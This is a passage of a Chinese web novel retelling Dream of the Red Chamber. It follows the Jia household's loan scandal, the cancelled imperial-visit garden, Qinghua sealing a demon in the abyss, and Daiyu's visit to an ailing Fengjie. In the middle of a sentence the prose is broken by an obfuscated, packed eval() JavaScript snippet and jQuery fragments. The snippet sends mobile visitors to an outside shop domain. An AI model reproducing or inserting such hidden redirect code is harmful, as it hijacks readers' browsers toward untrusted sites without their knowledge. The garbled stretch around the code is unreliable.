次日天明,贾赦早早遣人传唤润玉入长房,心中早已盘算妥当,打算直言托付,让他出面前往京兆府,为凤姐印子钱一案求情斡旋,化解贾府危局。
彼时润玉早已与黛玉彻夜商议妥当,姐弟二人心思相通,谋划一致,早已预判到贾府会前来求助。
听闻传唤,润玉从容赴约,一进屋内,不等贾赦开口,便率先双膝跪地,眼眶瞬间泛红,泪水簌簌落下。
他伏地哽咽,情真意切地哭诉:“大舅舅,近日我日夜忧心难安寝食难宁。父亲林海身陷太子旧案悬而未决,戴罪候审前程未卜,如今生死荣辱皆是未知。为人子女,日夜牵挂家父安危,满心惶恐束手无策,日日煎熬,实在无力旁顾他事,近日连书都无法读了,我们可该怎么办?”
一番哭诉,真挚恳切毫无破绽,瞬间让贾赦无言以对。
他骤然想起,当年林海卷入甄家旧案,源头皆是贾府的赖管家无端构陷被牵连,贾府事后抽身事外撇得干干净净,唯独连累林海身陷囹圄,前程未知。
林家姐弟入京多日,贾府未曾出手相助半分,不曾为林海斡旋一言奔走一步,如今贾府自身惹下祸端,反倒要拖累年少无辜的外甥出面求人,实在自私难堪。
贾赦被润玉声声泣诉堵得满心愧疚,连忙俯身将他扶起,温言软语百般安抚,原本想好的求情托付之语,终究半句也说不出口,只能暗自作罢。
不日,凤姐违律放贷和逼死人命的丑闻,悄然传遍贾府上下与内宅外院。
众人皆知她此番闯下大祸,会伤及府中根基,她兼小产体虚,只得终日闭门不出、深居简出,不敢过问半点家事,昔日管家理事的威风尽数消散。
可她终究满心不甘。
自己痛失孩儿丢了管家大权,又声名尽毁处境狼狈,平儿却悄然怀有身孕,得了贾琏爱惜,步步安稳,两相对比,恨意丛生。
她日日与贾琏争执吵闹,无端滋事,吵得贾琏心烦意乱疲于应付,渐渐不愿归家,能避则避能躲则躲。
而此时,贾府苦于应对京兆府的问责,他们无计可施,万般无奈之下,只能弃车保帅,将所有罪责尽数推到旺儿身上,对外宣称是奴仆胆大妄为假借主子名义私放高利贷,从而草菅人命,与贾府主眷毫无干系。
京兆府尹柴静查清脉络,依规处置,最终将此案定性为“恶仆私刑牟利、妄害性命”,堪堪保全贾府勋贵体面,未曾牵连贾赦和贾政等主子。
可此案终究传遍京城,百年功勋侯府,纵容家仆放债害命谋取私利,这般丑闻沸沸扬扬,让贾府名声一落千丈,颜面扫地。
消息传入忠顺王府,忠顺王听闻始末,震怒不已,当场摔碎手边茶盏,满心厌弃。
他本就严查太子余孽,整顿朝野贪腐,最恨权贵徇私与奢靡牟利,贾府此番顶风作案,彻底惹怒了他。
连日来,他再不踏入元春院落半步,冷淡疏离,无人敢劝。
贾府内忧未平,外患又起,省亲别院的浩大工程,也陷入了进退两难的绝境。
薛家忍痛借出的十万两白银,看似解了燃眉之急,实则杯水车薪。
贾政手下一众清客相公反复核算丈量,整座省亲别院若是按最初接驾规制完工,耗资至少百万两白银。
昔日王家接驾,耗资数百万,乃是皇上南巡的大事,那是公费支撑的名利双收,耗资再多也物有所值。
可如今元春仅仅是忠顺王府侧妃,并非正妃,更无皇后尊荣,不过是寻常王府女眷归省,规格、体面、封赏皆有限度。
耗费百万巨资修建别院,只为迎接一位亲王侧妃短暂归省,不仅毫无回报难以回本,更是太过张扬逾制,惹人非议。
银子不足、名分不够、得不偿失,一桩万众瞩目的盛事,彻底沦为尴尬僵局。
王夫人思来想去,最终亲自前往忠顺王府面见元春,暗中示意女儿,可否求王爷体恤,为贾府谋一份肥差拨一笔赏银,或是挪借府中银两,支撑园子修缮完工。
元春听闻母亲说辞,瞬间吓得心惊胆战,她惶恐不安,连连劝阻。
忠顺王性情刚正,嫉恶如仇,如今正全力清查前朝太子余孽与整顿官场奢靡徇私之风,最厌权贵仗势奢靡与肆意铺张。
贾府刚闹出印子钱贪弊丑闻,已然让王爷心生嫌恶,此刻不知收敛反倒大肆铺张建园子,无疑是火上浇油,自寻死路。
可这番规劝与顾虑,终究晚了一步。
王夫人求赏谋利的心思,终究传到了忠顺王耳中。
王爷大怒,当即请旨,免去王府女眷归省,此番省亲盛典,彻底作废!
贾府费尽心机讨好攀附,最终马屁拍在马蹄上,竹篮打水一场空。
阖府上下满心沮丧,连日笼罩在压抑愁云之中。
彼时听香院清净安然,与世无争。
黛玉和润玉姐弟正临窗共读家书,林海亲笔书信送至京中,信中言明江南旧案已然松动,迷雾渐散,自身罪责可免风波将平,不久便可重返朝堂。
更告知姐弟二人,贾敏不日便将入京团聚,阖家团圆。
润玉放下家书,眉眼微蹙,缓缓开口:“我近日在国子监求学,常听同窗议论此事,皆言贾府此番太过张扬失度。圣上仁慈宽厚恩赦后宫归省,本是寻常天家恩典,忠顺王不过一介亲王,元春仅是侧妃,贾府却不惜巨资大兴土木,妄图比照帝王接驾规制铺张,实在逾矩太过,落败也是必然。”
黛玉浅浅颔首,眸光淡然:“你说得没错。此番园子不修,反倒于贾府于我们皆是好事。”
她心底通透,看得格外长远。
贾府若是倾尽家底修建奢华别院,只会耗尽府中积蓄,透支根基,更会因奢靡逾制肆意张扬惹怒忠顺王,埋下日后抄家落败的祸根。
如今工程搁置,看似窘迫尴尬,实则是免去了日后滔天祸难,也间接减少了林家被牵连的风险。
只是眼下局面依旧难堪,贾府已然拆墙扒院动工过半,昔日规整的后花园被拆得残破不堪,到处狼藉一片。
若是就此停工荒废,只剩满地废土残垣,必然沦为京城权贵的笑柄;若是强行续建,又触怒王爷,祸事难料。
正当贾府进退维谷之际,忠顺王府终究不愿彻底与贾府决裂断了关联,次日便派人借元春之手送来诸多赏赐。
来人言辞温和,体恤贾府已然动工,半途难废更显浪费,准许园子继续修缮完工,却严令禁止沿用“省亲别院”之名,不得铺张奢靡逾制修建,只可俭省修缮改为贾府私家后花园。
于是,贾府也有了台阶,一众清客相公只能连夜改绘图纸,缩减规制删减景致,将原本耗资百万的旷世别院,草草改成寻常私家园林。
全盘核算下来,全园修缮只需一二十万两白银。
贾府倾尽家底四处拼凑,堪堪凑齐银两,勉强支撑完工。
轰轰烈烈的省亲盛事,最终潦草落幕,贾府彻底沦为京中权贵圈的一桩笑谈。
转眼便是正月十五元宵佳节,翻新改建后的大观园初步完工。
时值冬日阴沉,寒风萧瑟,天色晦暗无光,满园花木刚移栽成活,尚未繁茂盛放,景致寥寥,清冷萧条。
贾母带着阖府众人入园闲逛,草草游览一圈。
府中上下人人各怀心事,无一人有赏景玩乐的兴致,寥寥数圈便匆匆离去,回屋吃元宵、放烟花,草草度过佳节。
这是黛玉远离姑苏在家乡之外度过的第一个年。
孤身寄居贾府,纵然衣食无忧,终究难掩思乡之情。
她指尖轻轻摩挲着腕间的墨竹珠串,心底默默挂念青华,却久久得不到半分神识回应。
往日朝夕相伴随心应答的神识,在除夕之夜骤然沉寂,彻底消散,如同本体神识尽数抽离,自此杳无音讯。
黛玉心底隐隐生出不安与忧虑。
青华曾言,自留一缕神识伴她身侧,护她周全永不远离,此番骤然沉寂,莫非是九幽深渊生变,他身陷险境遭遇了什么难解危机?
无人知晓,万里之下的九幽深渊,正上演着一场惊天对峙。
幽暗死寂的九幽深渊出口,漫天浓郁漆黑的死气翻涌盘旋,吞噬一切光亮。
青华一袭黑袍加身,身姿挺拔伫立在黑暗之中,周身萦绕着凛冽厚重的死气,唯有一双眼眸澄澈明亮,如暗夜星辰,刺破无边幽暗。
他手中紧握着一柄乌黑冰寒的长剑,剑气森冷震慑鬼神。
他一步踏出,脚下黑暗震颤浊气翻涌,地底深处传来阵阵厉鬼狂嚣嘶吼与凄厉哀鸣,无数恶鬼在黑暗中翻滚逃窜,不敢靠近其身。
青华闭目凝神,神识尽数铺展蔓延,穿透层层黑暗,掠过无数蠢笨凶戾的恶鬼,一路向着九幽最深处延伸。
越往深渊腹地,黑暗越是浓郁诡谲,连磅礴神识都险些被彻底吞噬,周遭死寂荒芜,听不到半点声响,唯有诡异诡秘的气息层层笼罩。
行至深渊最深处,周遭恶鬼尽数消散,荒芜黑暗之中,悄然生出几缕奇异妖异的微光。
些许古怪幽艳的植物扎根黑暗随风扭动,花叶流转淡淡光华,勉强驱散周遭浓稠的邪恶浊气。
深渊核心之地,一团浓雾缭绕盘旋,雾气氤氲朦胧迷离,此处本该镇压着一尊上古庞然大物,如今巨兽踪迹全无,只余下满地浅淡的悲凉气息,弥漫四野。
青华伸出指尖,缕缕白雾顺着他的指尖盘旋缠绕,空灵软糯的嘤嘤哭声自雾中传来,凄婉温柔中自带楚楚可怜,带着极致的魅惑与哀怨,层层侵染人心。
那哭声娇媚轻柔惹人疼惜,缠绵悱恻,足以撼动世间一切铁血心肠。
青华万年古井无波的心境,竟被这缕哭声渐渐牵动,生出一丝细碎的柔情与恻隐。
他依旧闭目凝神,任由白雾顺着指尖蜿蜒攀爬,如柔软的美人蛇,顺着他的手臂缓缓上行,一点点缠绕脖颈,缓缓收紧,暗藏致命杀机。
窒息之感骤然袭来,杀机近身!
青华倏然睁眼,眸光如惊雷闪电凌厉刺骨,抬手精准扼住颈间缠绕的黑暗雾气,指尖骤然发力。
雾中瞬间传出一声尖锐凄厉的尖叫:“不要!”
青华神色冰冷,指尖力道不减半分。
雾中妖物惊惧求饶,语气慌张:“别杀我!我有天大秘密告诉你!”
青华眸光清冷,淡淡开口,声线寒凉彻骨:“秘密?”
“你杀不死我!”妖物语气癫狂又得意,“只要她尚在人间,神魂身不灭,我便永世不死无人可灭!”
青华眼底掠过一丝幽深暗光,低声轻叹,一语道破天机:“本座自然知晓。你们这类深渊邪祟,无生无灭,只能封印无法诛杀。那便暂且封你沉寂,昏睡百年。”
话音落,他不再迟疑,不留半分情面,指尖骤然发力。
只听一声细微脆响,如同筋骨断裂,雾中妖物发出最后一声怨毒嘶吼:“我定会归来!你护不住她!”
嘶吼散尽,浓雾渐消,深渊瞬间重归死寂。
青华收回灵力,转身退回九幽封印关口,抬眸深深望了一眼无边黑暗。
随后抬手执剑,指尖划破掌心,鲜红精血滴落,以血脉为引,在陈旧的封印之上,一笔笔勾勒出繁复晦涩的上古符咒,加固深渊结界,镇压一切邪祟。
符咒落成,天地浊气稍定。
青华似是耗损过多灵力,身形微乏,盘腿静坐于封印之下。
指尖轻轻一抬,一片通体莹嫩、却生机尽灭黯淡枯萎的红叶,缓缓飘落掌心。
这片落叶取自深渊腹地,沾染着彼岸气息与宿命之力。
青华蹙眉凝视枯叶,指尖轻捻,默默推演命理测算吉凶,眼底神色愈发深沉难测。
与此同时,神京贾府之内,风波依旧未歇。
凤姐终日卧榻,满心怨气难平。
失了印子钱的高利进项,每月少了大笔银两补贴,又被剥夺管家权,受人冷眼,日子过得憋屈压抑。
他见平儿缓步进屋,身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17836016|211421||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
姿日渐丰盈,腰身渐紧,显露出些许孕态,她心头妒火再度熊熊燃烧,开口便是讥讽。
“如今我们平大奶奶深得人心,日日去往太太跟前献殷勤献计策,可曾讨到些许赏赐捞到几分好处?”凤姐语气冰冷、满是嘲讽。
平儿默默为她斟上热茶,柔声解释:“奶奶误会了。我日日去太太跟前回话,皆是为了奶奶。我时时在太太面前提及奶奶往日管家的辛劳为府中的付出,句句为奶奶美言,只求太太感念旧情,早日让奶奶重掌家事重回原位。”
凤姐冷笑一声,满心不屑:“我何须你假惺惺好心周旋!我能否重掌管家权,不过是老太太一句话的事。如今我暂且静养避祸,便是要冷眼旁观,看清这府中众人嘴脸,谁真心待我谁趋炎附势!”
正争执间,屋外丫鬟通传,黛玉到访。
平儿连忙收敛神色,快步出门迎接,将黛玉稳稳引入屋内。
黛玉上前温声问安,抬眸细看凤姐面色,只见她面色蜡黄,气血亏虚的模样,显是久病未愈,轻声关切:“凤姐姐好生静养身子。气色较前日稍好,如今可还在服药调理?”
凤姐懒懒倚在榻上,语气淡漠:“不过是太医常开的温补汤药,日日服用,收效甚微。天寒地冻的,你身子娇弱,何苦长途奔波过来探我?”
“我刚从老太太院中请安出来。”黛玉浅浅一笑,语气温和,“家中大师秘制的暖香丸,太太近日又托人送了些入京。此物最是温补女子体虚,最能驱寒固本,我想着姐姐久病体虚宫寒气弱,恰好对症,便顺路送来一些。”
凤姐闻言,眼底闪过一丝玩味,淡淡开口:“这暖香丸名头雅致,药性温和,想来是极好的。我恍惚听闻,宝姑娘近日也在服用一味冷香丸,巧得很。”
平儿一旁应声回话:“正是宝姑娘的药。前日周瑞家的送花去梨香院,问及药方,莺儿姑娘才悄悄言说,那冷香丸炮制繁复选材考究,专治幼时胎毒与体虚咳嗽,与姑娘这暖香丸一般,皆是精妙雅致的良方。”
凤姐闻言,唇角勾起一抹凉薄冷笑,字字带刺:“倒是有趣得很。你有暖药,她便有冷药;你有美玉,她便有金锁。一冷一暖、一金一玉,事事针锋相对、两两相对,我们这贾府,当真是热闹非凡,好戏不断。”
她眸光流转,暗自揣测人心。
宝钗性情圆滑精于算计,最会笼络人心收买脸面;黛玉性情清冷,孤高疏离随性而为。
相较之下,显然黛玉更好拿捏更容易掌控,也不会分权争势威胁自己的地位。
若是日后宝黛成婚,自己依旧能稳坐管家主母之位;若是宝钗嫁入贾府,以其心智手段,自己再无立足之地。
心念既定,凤姐刻意摆出一副落魄委屈的模样,泪眼婆娑地低声叹惋:“我如今已是无用之人,身子病弱诸事皆错,为府中操劳半生,费心费力到头来落得一身病痛。太太厌弃、众人疏远,怕是老太太也早已厌烦我了。唯有林妹妹心地纯善念着旧情,还肯时常来看我,实在难得。”
黛玉静静听着,心底通透澄澈,早已看穿她的委屈算计与刻意卖惨。
她此番前来,便是想隐晦提点凤姐。
如今凤姐已然失势落难声名受损,她此刻若不知收敛紧抓权柄不放,日后必然祸及自身难以善终。
唯有放手放权抽身事外,静养身子不问纷争,才是唯一的自保之路。
只是她也知晓,凤姐野心深重执念难破,毕生所求皆是权势荣华与管家尊荣,区区几句规劝,终究难以点醒执迷之人。
她不过是尽自己最后的一点心意。
“凤姐姐切莫伤怀,哭坏身子得不偿失。”
黛玉递上手帕,轻声宽慰,“我家大师常言,修身养性,首重心性平和。这暖香丸虽是滋补良药,却需心境舒展无忧无扰,方能发挥药效。我手中存量不多,此番只分送了几位至亲之人。待润哥儿春闱落幕我归乡之后,再炮制新的药丸,差人送来京中与姐姐备用。”
凤姐闻言,心头一动,瞬间捕捉到关键信息,连忙追问:“你携带诸多物资入京,众人皆道你要长留京中定居贾府,怎会忽然提及归乡南去?”
黛玉笑意恬淡,坦然直言:“我此番入京,皆是为护送润哥儿求学备考、陪伴父亲静待案情了结。润哥儿若春闱得中,得了功名不便离京,会在京城历练数年;若是落榜,便继续入国子监深耕苦读以待来科。他前程在京,自然是要长留的。我命格不宜北地久居,体寒滞运,大师早年便为我推演命理,嘱我安居南方远离北地,方能安稳顺遂无灾无厄,待诸事落定,我定然南归姑苏。”
凤姐素来深信三生大师的神通神迹,听闻此言,心中再无半分疑虑,暗自惋惜。原本还想着拉拢黛玉促成宝黛姻缘,稳固自身地位,如今看来,黛玉终究无心留京无意贾府荣华。
她心念一转,又想起平儿身孕之事,随口试探:“这暖香丸既是大师秘制良药,最能温补固本,当初你赠予平儿服用,莫非是大师早已料到她有今日机缘得胎安稳?”
黛玉坦然颔首:“此药专为女子体寒体虚调制,驱寒辟邪调经固本,常年服用可滋养身子调和气血。平儿素来宫寒体弱,服用此药对症固本,有孕也是机缘巧合水到渠成。”
听闻此言,凤姐心底最后一丝拉拢黛玉的念头,瞬间消散殆尽,满心妒火再度翻涌。
她刚痛失爱子,身子亏损难愈,常年体虚宫寒的平儿却因黛玉赠药得以固本受孕,两相落差,让她如何不怨如何不恨?
一念及此,她神色瞬间冷淡疏离,再无半分温情笑意。
黛玉察言观色,心知她依旧难消芥蒂,更是暗恨自己,这番心性,全然不能被规劝教化,但她却也不以为意。
贾府众人,本就大多执念深重,善恶难辨,她从未刻意讨好,更未强求亲近。
此番提点规劝,已然仁至义尽。
人心执念,祸福得失,皆是自取,皆是天命。
各自安好,各安其命,便足矣。